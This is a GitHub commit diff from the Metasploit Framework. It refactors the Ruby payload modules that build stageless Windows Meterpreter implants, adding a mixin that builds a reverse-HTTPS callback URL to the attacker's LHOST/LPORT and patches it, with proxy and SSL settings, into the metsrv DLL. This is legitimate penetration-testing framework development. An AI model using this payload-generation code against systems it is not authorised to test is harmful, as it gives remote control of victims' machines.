Skip to content

Commit 2679297

Browse files
OJOJ
committed
Refactor of code to reduce duplication
Add mixin for the stageless http preparation
1 parent f885155 commit 2679297

File tree

9 files changed

+93
-90
lines changed

9 files changed

+93
-90
lines changed

‎lib/msf/core/handler/reverse_http/stageless.rb

Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/parser/x509_certificate'
8+
9+
module Msf
10+
11+
##
12+
#
13+
# Helper functionality for handling of stageless http(s) payloads
14+
#
15+
##
16+
17+
module Handler::ReverseHttp::Stageless
18+
19+
include Msf::Payload::Windows::VerifySsl
20+
21+
def initialize_stageless
22+
register_options([
23+
OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
24+
], self.class)
25+
end
26+
27+
def generate_stageless(&block)
28+
checksum = generate_uri_checksum(Handler::ReverseHttp::UriChecksum::URI_CHECKSUM_CONN)
29+
rand = Rex::Text.rand_text_alphanumeric(16)
30+
url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}/#{checksum}_#{rand}/"
31+
32+
unless block_given?
33+
raise ArgumentError, "Stageless generation requires a block argument"
34+
end
35+
36+
# invoke the given function to generate the architecture specific payload
37+
block.call(url) do |dll|
38+
39+
# TODO: figure out this bit
40+
# patch the target ID into the URI if specified
41+
#if opts[:target_id]
42+
# i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00")
43+
# if i
44+
# t = opts[:target_id].to_s
45+
# raise "Target ID must be less than 5 bytes" if t.length > 4
46+
# u = "/B#{t} HTTP/1.0\r\n\r\n\x00"
47+
# print_status("Patching Target ID #{t} into DLL")
48+
# dll[i, u.length] = u
49+
# end
50+
#end
51+
52+
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
53+
datastore['HandlerSSLCert'])
54+
55+
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
56+
:url => url,
57+
:ssl => true,
58+
:ssl_cert_hash => verify_cert_hash,
59+
:expiration => datastore['SessionExpirationTimeout'].to_i,
60+
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
61+
:ua => datastore['MeterpreterUserAgent'],
62+
:proxyhost => datastore['PROXYHOST'],
63+
:proxyport => datastore['PROXYPORT'],
64+
:proxy_type => datastore['PROXY_TYPE'],
65+
:proxy_username => datastore['PROXY_USERNAME'],
66+
:proxy_password => datastore['PROXY_PASSWORD'])
67+
end
68+
69+
end
70+
71+
end
72+
73+
end

‎lib/msf/core/payload/windows/stageless_meterpreter.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,7 @@ def asm_invoke_metsrv(opts={})
5151
asm
5252
end
5353

54-
def generate_stageless_meterpreter(url = nil)
54+
def generate_stageless_x86(url = nil)
5555
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x86.dll'))
5656

5757
conf = {

‎lib/msf/core/payload/windows/x64/stageless_meterpreter.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,7 @@ def asm_invoke_metsrv(opts={})
5151
asm
5252
end
5353

54-
def generate_stageless_meterpreter(url = nil)
54+
def generate_stageless_x64(url = nil)
5555
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x64.dll'))
5656

5757
conf = {

‎modules/payloads/singles/windows/meterpreter_bind_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@ def initialize(info = {})
3737
def generate
3838
# blank LHOST indicates bind payload
3939
url = "tcp://:#{datastore['LPORT']}"
40-
generate_stageless_meterpreter(url)
40+
generate_stageless_x86(url)
4141
end
4242

4343
end

‎modules/payloads/singles/windows/meterpreter_reverse_https.rb

Lines changed: 7 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -5,18 +5,18 @@
55

66
require 'msf/core'
77
require 'msf/core/handler/reverse_https'
8+
require 'msf/core/handler/reverse_http/stageless'
89
require 'msf/core/payload/windows/stageless_meterpreter'
910
require 'msf/base/sessions/meterpreter_x86_win'
1011
require 'msf/base/sessions/meterpreter_options'
11-
require 'rex/parser/x509_certificate'
1212

13-
module Metasploit3
13+
module Metasploit4
1414

1515
CachedSize = :dynamic
1616

1717
include Msf::Payload::Windows::StagelessMeterpreter
18+
include Msf::Handler::ReverseHttp::Stageless
1819
include Msf::Sessions::MeterpreterOptions
19-
include Msf::Payload::Windows::VerifySsl
2020

2121
def initialize(info = {})
2222

@@ -31,48 +31,13 @@ def initialize(info = {})
3131
'Session' => Msf::Sessions::Meterpreter_x86_Win
3232
))
3333

34-
register_options([
35-
OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
36-
], self.class)
34+
initialize_stageless
3735
end
3836

3937
def generate
40-
checksum = generate_uri_checksum(Handler::ReverseHttp::UriChecksum::URI_CHECKSUM_CONN)
41-
rand = Rex::Text.rand_text_alphanumeric(16)
42-
url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}/#{checksum}_#{rand}/"
43-
44-
generate_stageless_meterpreter(url) do |dll|
45-
46-
# TODO: figure out this bit
47-
# patch the target ID into the URI if specified
48-
#if opts[:target_id]
49-
# i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00")
50-
# if i
51-
# t = opts[:target_id].to_s
52-
# raise "Target ID must be less than 5 bytes" if t.length > 4
53-
# u = "/B#{t} HTTP/1.0\r\n\r\n\x00"
54-
# print_status("Patching Target ID #{t} into DLL")
55-
# dll[i, u.length] = u
56-
# end
57-
#end
58-
59-
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
60-
datastore['HandlerSSLCert'])
61-
62-
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
63-
:url => url,
64-
:ssl => true,
65-
:ssl_cert_hash => verify_cert_hash,
66-
:expiration => datastore['SessionExpirationTimeout'].to_i,
67-
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
68-
:ua => datastore['MeterpreterUserAgent'],
69-
:proxyhost => datastore['PROXYHOST'],
70-
:proxyport => datastore['PROXYPORT'],
71-
:proxy_type => datastore['PROXY_TYPE'],
72-
:proxy_username => datastore['PROXY_USERNAME'],
73-
:proxy_password => datastore['PROXY_PASSWORD'])
74-
end
75-
38+
# generate a stageless payload using the x86 version of
39+
# the stageless generator
40+
generate_stageless(&method(:generate_stageless_x86))
7641
end
7742

7843
end

‎modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@ def initialize(info = {})
3737

3838
def generate
3939
url = "tcp6://#{datastore['LHOST']}:#{datastore['LPORT']}?#{datastore['SCOPEID']}"
40-
generate_stageless_meterpreter(url)
40+
generate_stageless_x86(url)
4141
end
4242

4343
end

‎modules/payloads/singles/windows/meterpreter_reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,7 @@ def initialize(info = {})
3636

3737
def generate
3838
url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"
39-
generate_stageless_meterpreter(url)
39+
generate_stageless_x86(url)
4040
end
4141

4242
end

‎modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb

Lines changed: 7 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -5,18 +5,18 @@
55

66
require 'msf/core'
77
require 'msf/core/handler/reverse_https'
8+
require 'msf/core/handler/reverse_http/stageless'
89
require 'msf/core/payload/windows/x64/stageless_meterpreter'
910
require 'msf/base/sessions/meterpreter_x64_win'
1011
require 'msf/base/sessions/meterpreter_options'
11-
require 'rex/parser/x509_certificate'
1212

13-
module Metasploit3
13+
module Metasploit4
1414

1515
CachedSize = :dynamic
1616

1717
include Msf::Payload::Windows::StagelessMeterpreter_x64
18+
include Msf::Handler::ReverseHttp::Stageless
1819
include Msf::Sessions::MeterpreterOptions
19-
include Msf::Payload::Windows::VerifySsl
2020

2121
def initialize(info = {})
2222

@@ -31,48 +31,13 @@ def initialize(info = {})
3131
'Session' => Msf::Sessions::Meterpreter_x64_Win
3232
))
3333

34-
register_options([
35-
OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
36-
], self.class)
34+
initialize_stageless
3735
end
3836

3937
def generate
40-
checksum = generate_uri_checksum(Handler::ReverseHttp::UriChecksum::URI_CHECKSUM_CONN)
41-
rand = Rex::Text.rand_text_alphanumeric(16)
42-
url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}/#{checksum}_#{rand}/"
43-
44-
generate_stageless_meterpreter(url) do |dll|
45-
46-
# TODO: figure out this bit
47-
# patch the target ID into the URI if specified
48-
#if opts[:target_id]
49-
# i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00")
50-
# if i
51-
# t = opts[:target_id].to_s
52-
# raise "Target ID must be less than 5 bytes" if t.length > 4
53-
# u = "/B#{t} HTTP/1.0\r\n\r\n\x00"
54-
# print_status("Patching Target ID #{t} into DLL")
55-
# dll[i, u.length] = u
56-
# end
57-
#end
58-
59-
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
60-
datastore['HandlerSSLCert'])
61-
62-
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
63-
:url => url,
64-
:ssl => true,
65-
:ssl_cert_hash => verify_cert_hash,
66-
:expiration => datastore['SessionExpirationTimeout'].to_i,
67-
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
68-
:ua => datastore['MeterpreterUserAgent'],
69-
:proxyhost => datastore['PROXYHOST'],
70-
:proxyport => datastore['PROXYPORT'],
71-
:proxy_type => datastore['PROXY_TYPE'],
72-
:proxy_username => datastore['PROXY_USERNAME'],
73-
:proxy_password => datastore['PROXY_PASSWORD'])
74-
end
75-
38+
# generate a stageless payload using the x64 version of
39+
# the stageless generator
40+
generate_stageless(&method(:generate_stageless_x64))
7641
end
7742

7843
end

‎modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@ def initialize(info = {})
3737

3838
def generate
3939
url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"
40-
generate_stageless_meterpreter(url)
40+
generate_stageless_x64(url)
4141
end
4242

4343
end

0 commit comments

Comments
 (0)